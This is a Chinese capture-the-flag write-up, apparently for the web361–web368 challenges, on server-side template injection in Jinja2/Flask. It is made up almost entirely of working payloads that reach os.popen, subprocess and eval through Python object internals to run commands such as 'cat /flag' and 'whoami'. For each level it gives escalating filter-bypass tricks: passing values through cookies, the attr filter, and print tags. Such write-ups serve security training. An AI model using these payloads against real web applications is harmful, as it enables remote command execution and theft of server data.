目录
web361-toc" style="margin-left:0px;">1、web361
web362-toc" style="margin-left:0px;">2、web362
web363-toc" style="margin-left:0px;">3、web363
web364-toc" style="margin-left:0px;">4、web364
web365-toc" style="margin-left:0px;">5、web365
web366-toc" style="margin-left:0px;">6、web366
web367-toc" style="margin-left:0px;">7、web367
web368-toc" style="margin-left:0px;">8、web368
web361">1、web361
测试一下存在 SSTI 注入
方法很多
(1)使用子类可以直接调用的函数来打
payload1:
?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
payload2:
?name={{''.__class__.__base__.__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}
(2)使用重载函数
payload3:
?name={{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}
payload4:
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
payload5:
?name={{''.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls /').read()}}}}
(3)使用内嵌函数
payload6:
?name={{''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
对于这种没有过滤的,还有其他很多很多方法,这里就不列举了。
web362" style="background-color:transparent;">2、web362
开始过滤
模糊测试看一下,过滤了 2 和 3
随便拿个 payload 打吧:
?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
web363" style="background-color:transparent;">3、web363
过滤了单双引号
方法也很多,这里采用 get 传参绕过:
?name={{().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag
web364">4、web364
过滤了 args
并且 post 传参不允许
那就传给 cookie 吧
?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}
cookie传入:m1=get_data;m2=/flag
web365" style="background-color:transparent;">5、web365
新增过滤中括号
原本是在上面的 payload 上改,但是要连续用两次 [],有点问题,我们换个 payload:
?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}}cookie:m1=os;m2=cat /flag
这个 payload 是一次性的,因为 pop 会删除里面的键,导致环境崩溃
更保险的是使用 __getitem__ ,方法同上
web366" style="background-color:transparent;">6、web366
新增过滤了下划线
前面的 payload 太长了,构造起来比较麻烦和乱
换个短点的 payload 结合过滤器绕过:
?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag
web367" style="background-color:transparent;">7、web367
新增过滤 os
一起传给 cookie
?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}cookie:m1=__globals__;m2=cat /flag;m3=os
web368" style="background-color:transparent;">8、web368
双大括号中过滤了 request
但是 {% %} 中可用
payload:
?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}cookie:m1=__globals__;m2=cat /flag;m3=os